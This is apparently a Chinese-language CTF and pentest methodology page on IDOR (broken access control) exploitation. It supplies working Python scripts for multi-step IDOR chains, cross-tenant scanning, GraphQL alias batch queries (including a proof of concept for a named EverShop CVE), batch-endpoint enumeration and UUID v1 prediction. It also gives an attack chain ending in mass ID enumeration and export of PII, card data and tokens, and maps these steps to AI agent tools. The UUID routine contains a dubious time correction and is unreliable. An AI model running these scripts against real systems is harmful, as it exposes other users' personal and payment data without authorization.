Skip to content

IDOR 深度枚举与利用 — 水平/垂直越权实战方法论 ​

场景 ​

IDOR (Insecure Direct Object Reference) 是 CTF 和实战中出现频率最高的漏洞类别之一,核心问题并非"使用了可预测的 ID",而是"服务端未验证请求主体是否对目标对象有访问权限"。高水平选手关注的是:UUID 不等于授权边界、多步 IDOR 链、跨租户利用、以及 GraphQL/API Batching 等协议层面的越权放大。

输入信号 ​

  • URL 路径或查询参数中包含资源标识符(/user/123、/order?id=X、/api/v1/invoices/{uuid})
  • 请求体 JSON 中包含 user_id / order_id / account_id 等自控制字段
  • GraphQL query 中 id 参数可被替换
  • 响应中返回其他用户的数据(邮箱、订单、卡密、PII)
  • UUID 格式一致但可枚举(v1 时间戳可预测,v4 无保护时纯靠暴力空间)
  • 批量 API(/api/users/batch、/api/v3/orders/list)返回了超过当前认证范围的资源
  • GraphQL 别名(alias)允许同一查询中多次引用不同 ID

核心方法论 ​

0. 对象关系图与权限 Oracle ​

IDOR 不是“把 1001 改成 1002”这么简单,先画对象关系图,明确当前身份、目标对象、父对象和租户边界。权限 oracle 要稳定:同一 session、同一路径、只改一个对象引用。

关系示例字段判断动作命中信号
当前主体user_id, sub, account_id固定 token/cookie响应身份不变
目标对象order_id, invoice_id, file_id替换为目标 ID数据主体变化
父对象org_id, tenant_id, project_id父子 ID 交叉替换跨租户/跨项目返回
关联对象owner_id, recipient_id写入后读取关联资源间接泄露
批量对象ids[], id__in, GraphQL alias混入合法+非法 ID非法对象被返回

响应分类:

python
def classify_idor_response(resp, own_markers, foreign_markers):
    text = resp.text
    if resp.status_code in (401, 403):
        return "blocked"
    if resp.status_code == 404:
        return "not_found_or_hidden"
    if any(m in text for m in foreign_markers):
        return "foreign_data"
    if any(m in text for m in own_markers):
        return "own_data"
    if resp.status_code == 200 and len(text) > 0:
        return "unknown_200"
    return "no_signal"

成功样本:目标对象字段、邮箱、订单号、租户名、金额、状态等任一稳定 marker 出现在响应中。失败样本也要保留:403 是鉴权点,404 可能是真不存在,也可能是“隐藏式拒绝”,需要用已知合法 ID 校准。

0.1 对象图谱到 SQL/支付下一跳 ​

把 API discovery 里抓到的端点先归成对象图谱,再决定下一跳。IDOR 的高价值不只在读数据,而在于它经常暴露数据库主键、订单流水、账单状态和支付回调对象,这些信号会直接喂给 SQL、支付和批量赋值链。

对象/字段常见来源立即验证下一跳
user_id, account_id, owner_id/me, JWT claim, profile API换对象后 marker 是否变化BAC 角色矩阵、Mass Assignment 角色字段
tenant_id, org_id, project_idSaaS URL、响应头、GraphQL node父子 ID 交叉替换跨租户 IDOR、数据库多租户隔离
order_id, cart_id, checkout_id购物车、订单详情、邮件链接订单金额/状态/商品是否串号支付状态机、优惠券和回调重放
invoice_id, payment_id, transaction_id发票、支付结果页、webhook 日志发票归属、支付状态、退款按钮支付逻辑、签名字段、异步任务
file_id, attachment_id, export_id导出任务、客服附件、报表下载文件内容 marker任意文件下载、导出队列 BAC
coupon_id, gift_card_id, license_id优惠码、卡密、订阅页余额/可用次数是否串号支付折扣、库存和卡密泄露
SQL 主键/分页游标id, cursor, next, last_id连续性、空洞、排序字段SQLi、数据库 dump、二分枚举

对象图谱执行器:

python
# idor_object_graph_builder.py
import csv
import json
import re
from pathlib import Path

ID_HINTS = re.compile(r"(user|account|tenant|org|project|order|cart|checkout|invoice|payment|transaction|file|export|coupon|gift|license)[_-]?id", re.I)
MONEY_HINTS = re.compile(r"(amount|price|total|balance|credit|paid|refund|discount|currency)", re.I)
SQL_HINTS = re.compile(r"(^id$|last_id|cursor|offset|limit|sort|where|filter|ids?$)", re.I)

def flatten(obj, prefix=""):
    if isinstance(obj, dict):
        for k, v in obj.items():
            key = f"{prefix}.{k}" if prefix else k
            yield key, v
            yield from flatten(v, key)
    elif isinstance(obj, list):
        for i, v in enumerate(obj[:5]):
            yield from flatten(v, f"{prefix}[{i}]")

def classify_field(name, value):
    text = f"{name}={value}"
    if ID_HINTS.search(name):
        return "object-id"
    if MONEY_HINTS.search(name):
        return "payment-signal"
    if SQL_HINTS.search(name):
        return "sql-enum-signal"
    if isinstance(value, str) and re.fullmatch(r"[0-9a-f-]{32,36}", value, re.I):
        return "uuid-or-token-id"
    return "context"

def build_graph(samples_dir, out_json, out_csv):
    nodes = []
    for path in Path(samples_dir).glob("*.json"):
        data = json.loads(path.read_text(encoding="utf-8"))
        for key, value in flatten(data):
            kind = classify_field(key, value)
            if kind != "context":
                nodes.append({"source": path.name, "field": key, "value": value, "kind": kind})
    Path(out_json).write_text(json.dumps(nodes, ensure_ascii=False, indent=2), encoding="utf-8")
    with open(out_csv, "w", newline="", encoding="utf-8") as f:
        w = csv.DictWriter(f, fieldnames=["source", "field", "value", "kind"])
        w.writeheader()
        w.writerows(nodes)

if __name__ == "__main__":
    build_graph("exports/api_samples", "exports/idor_object_graph.json", "exports/idor_role_matrix.csv")

判定节奏:

  1. 用自身资源生成 baseline,保存 own_marker:邮箱、订单号、金额、租户名、商品名。
  2. 混入一个外部对象 ID,只替换一个变量,输出 idor_foreign_marker.jsonl。
  3. 如果命中 order_id/payment_id/invoice_id,立刻跳支付状态机:看 paid_at/status/refund/amount/currency 是否能被读取或影响。
  4. 如果命中连续主键、分页游标、排序字段,跳 SQL:用 id__in, sort, filter, where, ids[] 观察报错和返回顺序。
  5. 如果命中 tenant_id/org_id,把同一目标对象挂到不同父对象下,区分“对象归属校验缺失”和“父对象边界缺失”。

1. ID 类型识别与预测 ​

ID 类型                       预测性    枚举难度    典型场景
───────                      ──────    ──────    ──────────
自增整数 (1, 2, 3, …)        极高       低        简单 REST API
时间戳序列                    高         中        订单号/交易号
Hashids / 短码                中         中        公开短链接
UUID v1                      高         低        时间戳可逆向
UUID v4 (无保护)              无         中        空间 2^122, 但配合 API 可批量
JWT sub                      无         低        JWT 泄露后直接用

UUID v1 逆向工具:UUID v1 编码 100ns 精度的时间戳 + 机器标识。已知一个 UUID v1 即可推算生成时间窗口。

python
# uuid_v1_decode.py — 逆向 UUID v1 预测后续 ID
import struct, time

def uuid1_to_timestamp(uuid_str: str) -> float:
    """将 UUID v1 字符串转换为 Unix 时间戳"""
    u = uuid_str.replace('-', '')
    time_low = int(u[0:8], 16)
    time_mid = int(u[8:12], 16)
    time_hi_and_version = int(u[12:16], 16) & 0x0fff
    uuid_time = (time_hi_and_version << 48) | (time_mid << 32) | time_low
    # UUID epoch: 1582-10-15 00:00:00
    unix_epoch_offset = 0x01b21dd213814000
    timestamp_100ns = uuid_time - unix_epoch_offset
    return (timestamp_100ns / 10000000) - 0x7d910  # leap seconds correction

def predict_uuid_v1_window(sample_uuid: str, count: int = 10) -> list:
    """基于采样 UUID 预测后续 N 个 UUID"""
    ts = uuid1_to_timestamp(sample_uuid)
    # 提取 clock_seq 和 node
    parts = sample_uuid.split('-')
    clock_seq = int(parts[3], 16) & 0x3fff
    node = parts[4]

    predicted = []
    for i in range(1, count + 1):
        next_ts = int((ts + i * 0.0001) * 10000000) + 0x01b21dd213814000
        # 重组 UUID (简化: 假设 clock_seq 不溢出)
        time_low = next_ts & 0xffffffff
        time_mid = (next_ts >> 32) & 0xffff
        time_hi = ((next_ts >> 48) & 0x0fff) | 0x1000  # version 1
        predicted.append(
            f"{time_low:08x}-{time_mid:04x}-{time_hi:04x}-"
            f"{clock_seq:04x}-{node}"
        )
    return predicted

2. 多步 IDOR 链 ​

单步 IDOR 容易检测,真正致命的是多步链:

Step 1: GET /api/users/me               → 返回 {"id": 101, "email": "a@b.com"}
Step 2: GET /api/users/102              → 403 (直接越权被拦截)
Step 3: POST /api/messages              → 创建消息 {"to": 102, "body": "hello"}
Step 4: GET /api/messages/outbox        → 返回消息列表含 recipient email/avatar
Step 5: GET /api/messages/456/read-receipt → 返回 102 的完整用户信息
                                   ↑ 读权限 + 写权限链式利用
python
# multi_step_idor.py — 自动化多步 IDOR 链
import requests, re, json

class MultiStepIDOR:
    """多步 IDOR 链自动利用"""
    def __init__(self, base_url, token):
        self.base = base_url.rstrip('/')
        self.s = requests.Session()
        self.s.headers.update({"Authorization": f"Bearer {token}"})
        self.state = {}

    def run(self, chain: list) -> dict:
        """按攻击链顺序执行"""
        results = {}
        for step in chain:
            method = step.get("method", "GET")
            path = self._interpolate(step["path"])
            data = self._interpolate(step.get("data", {}))
            params = self._interpolate(step.get("params", {}))

            if method == "GET":
                r = self.s.get(f"{self.base}{path}", params=params)
            elif method == "POST":
                r = self.s.post(f"{self.base}{path}", json=data)
            elif method == "PUT":
                r = self.s.put(f"{self.base}{path}", json=data)

            results[step["name"]] = {"status": r.status_code, "body": r.text[:500]}
            self._extract_state(r, step.get("extract", {}))
        return results

    def _interpolate(self, value):
        """用 state 替换模板变量 {key}"""
        if isinstance(value, str):
            for k, v in self.state.items():
                value = value.replace(f"{{{k}}}", str(v))
            return value
        if isinstance(value, dict):
            return {k: self._interpolate(v) for k, v in value.items()}
        return value

    def _extract_state(self, response, extract_map: dict):
        """从响应中提取字段到 state"""
        try:
            data = response.json()
            for state_key, json_path in extract_map.items():
                parts = json_path.split('.')
                val = data
                for p in parts:
                    if p.isdigit():
                        val = val[int(p)]
                    else:
                        val = val.get(p, {})
                if val and val != {}:
                    self.state[state_key] = val
        except:
            pass

3. 跨租户 IDOR (SaaS Multi-Tenant) ​

SaaS 架构中多租户 IDOR 是最严重的一类,因为一次越权即可访问整个租户的数据。

真实 CVE 模式:

  • Liferay CVE-2025-43810: 跨组织站点查看,groupId 参数可替换为任意组织 ID,无需跨组织权限即可读取其他组织的站点配置和用户数据
  • Liferay CVE-2025-62241: API 端点的 accountId 参数未校验调用者是否属于该 account,配合组织间共享 URL 可遍历所有账号数据

跨租户 IDOR 检测模式:

python
# tenant_idor_scanner.py — 跨租户枚举
import itertools, requests, json

class TenantIDORScanner:
    def __init__(self, base_url, session: requests.Session):
        self.base = base_url
        self.s = session

    TENANT_ID_CANDIDATES = [
        # 常见参数名
        "/api/accounts/{id}/users",
        "/api/organizations/{id}/settings",
        "/api/workspaces/{id}/projects",
        "/api/teams/{id}/members",
        "/api/projects?org_id={id}",
        "/api/v2/entities/{id}/relationships",

        # GraphQL
        "/graphql",  # 通过 query 参数传 id
    ]

    def _discover_tenant_pattern(self, known_good_ids: list) -> list:
        """从已知合法租户 ID 推断 ID 空间"""
        patterns = []
        for tid in known_good_ids[:3]:
            if tid.isdigit():
                patterns.append("range")
            elif len(tid) == 36 and tid.count('-') == 4:
                patterns.append("uuid_v4")
            elif len(tid) == 8:  # short hash
                patterns.append("hashid")
        return patterns

    def cross_tenant_test(self, own_tenant_id: str, target_tenant_ids: list):
        """测试是否可以访问其他租户的资源"""
        results = {}
        for target_id in target_tenant_ids:
            if target_id == own_tenant_id:
                continue
            for path_tmpl in self.TENANT_ID_CANDIDATES:
                url = self.base + path_tmpl.format(id=target_id)
                for method in ["GET", "POST"]:
                    r = self.s.request(method, url, timeout=10)
                    if r.status_code == 200:
                        results[f"{method} {url}"] = {
                            "status": 200,
                            "body_preview": r.text[:300],
                            "tenant_id": target_id
                        }
        return results

4. GraphQL 别名批量越权 (Alias Batching) ​

GraphQL 允许在同一请求中通过不同别名多次调用同一个字段。如果后端在 resolver 层面做了鉴权但在 batch 层面没做限制,可以实现单次请求批量越权。

graphql
# GraphQL Alias IDOR — 一次请求枚举多个用户
query batchIDOR {
  a1: user(id: 1001) { email role creditCardLast4 }
  a2: user(id: 1002) { email role creditCardLast4 }
  a3: user(id: 1003) { email role creditCardLast4 }
  a4: user(id: 1004) { email role creditCardLast4 }
  a5: user(id: 1005) { email role creditCardLast4 }
  a6: user(id: 1006) { email role creditCardLast4 }
  a7: user(id: 1007) { email role creditCardLast4 }
  a8: user(id: 1008) { email role creditCardLast4 }
}
python
# graphql_alias_idor.py — 自动生成 GraphQL 别名越权查询
def generate_alias_query(field: str, id_field: str, ids: list, subfields: list) -> str:
    """生成 GraphQL alias batch IDOR 查询"""
    aliases = []
    for i, uid in enumerate(ids):
        fields_str = '\n      '.join(subfields)
        aliases.append(f'  a{i}: {field}({id_field}: {json.dumps(uid)}) {{\n      {fields_str}\n    }}')
    return 'query batchIDOR {\n' + '\n'.join(aliases) + '\n}'

# 真实案例: EverShop CVE-2025-12919
# GraphQL `order` query 无鉴权检查,UUID 订单号可枚举
EVER_SHOP_POC = generate_alias_query(
    field="order",
    id_field="id",
    ids=["ord-001", "ord-002", "ord-003", "ord-004"],
    subfields=["orderId", "customerName", "customerEmail", "shippingAddress { city street }", "paymentStatus", "grandTotal { value }"]
)

5. REST API 批量端点越权 (Batch IDOR) ​

现代 REST API 常提供批量操作端点以节省请求次数。这些端点往往鉴权不如单点查询严格:

python
# batch_api_idor.py — 利用批量 API 端点枚举
BATCH_ENDPOINTS = [
    # JSON array batch
    ("POST", "/api/users/batch", lambda ids: ids),  # 直接传数组
    ("POST", "/api/v3/users", lambda ids: {"ids": ids, "fields": ["email", "role"]}),
    ("POST", "/api/orders/mget", lambda ids: ids),

    # Comma-separated
    ("GET", "/api/users", lambda ids: {"id__in": ",".join(map(str, ids))}),
    ("GET", "/api/v2/users/list", lambda ids: {"user_ids": ",".join(map(str, ids))}),

    # GraphQL batch
    ("POST", "/graphql", lambda ids: {"query": generate_alias_query("user", "id", ids, ["email", "role"])}),
]

def batch_idor_scan(base_url, session, target_ids: list):
    """测试批量端点越权"""
    results = {}
    for method, path, payload_builder in BATCH_ENDPOINTS:
        url = f"{base_url}{path}"
        payload = payload_builder(target_ids)
        r = session.request(method, url, json=payload if method == "POST" else None,
                            params=payload if method == "GET" else None)
        if r.status_code == 200:
            results[path] = f"200 OK — {len(r.text)} bytes — {r.text[:200]}"
        elif r.status_code in (403, 401):
            results[path] = f"{r.status_code} blocked"
        else:
            results[path] = f"{r.status_code}"

    # 检查响应是否包含其他用户的数据(越权成功信号)
    if r.status_code == 200:
        try:
            data = r.json()
            text = json.dumps(data, ensure_ascii=False)
            results["_analysis"] = {
                "data_count": len(data) if isinstance(data, list) else len(data.keys()),
                "contains_foreign_marker": any(k in text for k in ["email", "address", "role", "card", "flag"])
            }
        except:
            pass
    return results

5.1 ID 变形与父子错配 ​

类型变形目的
自增整数id-1, id+1, 0, -1, 999999找边界和默认对象
UUID大小写、去横线、URN、URL encodeparser/ORM normalize 差异
Hashids长度相近、同 alphabet、泄露样本反推 salt短码空间枚举
Snowflake解 timestamp/worker/sequence按时间窗口枚举
Composite keytenant_id + object_id 交叉父子鉴权错位
Base64 ID解码后替换内部数字/JSONGraphQL Relay IDOR

GraphQL Relay ID 常是 Base64:

python
import base64

def decode_relay_id(relay_id):
    raw = base64.b64decode(relay_id + "=" * (-len(relay_id) % 4)).decode()
    return raw

def encode_relay_id(type_name, obj_id):
    return base64.b64encode(f"{type_name}:{obj_id}".encode()).decode().rstrip("=")

print(decode_relay_id("VXNlcjoxMjM"))
print(encode_relay_id("Order", 124))

6. 真实 CVE 深度分析 ​

CVE产品类型原理利用条件
CVE-2025-12919EverShop 0.4.3GraphQL IDORQuery.order resolver 未调用鉴权中间件,UUID 订单号可枚举,泄露姓名/邮箱/地址/支付状态/商品明细获取任意一个订单 UUID
CVE-2025-43810Liferay DXP 7.4跨租户 IDORgroupId 参数越权,可跨组织查看站点配置和用户已知任意有效 groupId
CVE-2025-62241Liferay Portal 7.4API 鉴权缺失accountId 未校验调用者归属,配合 REST API 遍历账号数据有效的 API 会话
CVE-2026-25757Spree Commerce 4.10访客订单 IDORauthorize_access 对 user_id=nil 的访客直接返回 true,不验证订单归属任意订单号
CVE-2024-33003SAP Commerce (CVSS 9.1)优惠券泄露优惠券/卡密在 URL 参数中明文传递,可被 Referer/日志截获用户点击链接

攻击链 ​

Phase 1 — 信号采集
  ├── 注册/登录 → 收集自身资源 ID (user_id, order_id, invoice_id)
  ├── 分析 ID 格式特征 (长度、字符集、校验和)
  ├── 降低 ID 值测试 (user/1, user/0, user/-1)
  └── 检查 UUID 版本 (v1/v4 判定)

Phase 2 — 水平越权探测
  ├── 修改 ID 为其他用户的 ID
  │   ├── Cookie/Session 不变
  │   └── 观察 200 vs 403 vs 404 差异
  ├── GraphQL 别名批量拉取
  ├── 批量 API 端点探测
  └── 跨租户 ID 替换

Phase 3 — 多步链
  ├── 找到第一个 IDOR 点 (读接口)
  ├── 提取受害者元信息 (email, role)
  ├── 利用元信息构造第二个请求 (修改/删除)
  └── 检查链式影响

Phase 4 — 放大
  ├── 爬虫级枚举 (1k-1M 级别的 ID 遍历)
  ├── 导出为 CSV/JSON
  └── 验证高价值数据 (卡密、Token、PII)

MCP 工具映射 ​

AI Agent 可调用以下 MCP 工具自动检测上述漏洞:

攻击步骤MCP 工具说明
HTTP 探测 IDOR 端点http_probe无 Cookie/Token 请求资源 API,观察响应差异
按信号查知识库kb_router搜索 IDOR/enumeration/multi-tenant 相关技术文件
阅读技术细节kb_read_file读取本文档获取完整攻击链
批量枚举测试run_ctf_tool运行自定义枚举脚本进行大规模 ID 遍历

参考资料 ​

  • [CVE-2025-12919] EverShop — GraphQL Order Query Without Authentication
  • [CVE-2025-43810] Liferay — Cross-Organization Site Viewing via IDOR
  • [CVE-2025-62241] Liferay — Missing Authorization in Account REST API
  • [CVE-2026-25757] Spree Commerce — Unauthenticated Guest Order Access
  • [CWE-639] Authorization Bypass Through User-Controlled Key
  • PortSwigger Research: "GraphQL Alias Batching — A New Vector for IDOR Exploitation"

Evidence ​

  • 保存 baseline、当前主体、目标对象、父对象、替换字段和完整请求/响应摘要。
  • 对每个命中记录:合法 ID、目标 ID、响应分类、foreign marker、状态码、关键字段。
  • 批量端点记录输入 ID 集合、返回对象数量、返回中混入的非法对象。
  • 输出统一放入 exports/ctf-website/<case>/,自动检索 flag{}、CTF{}、DASCTF{}。

GPL-3.0 · 仅供授权环境下的学习与防御性研究使用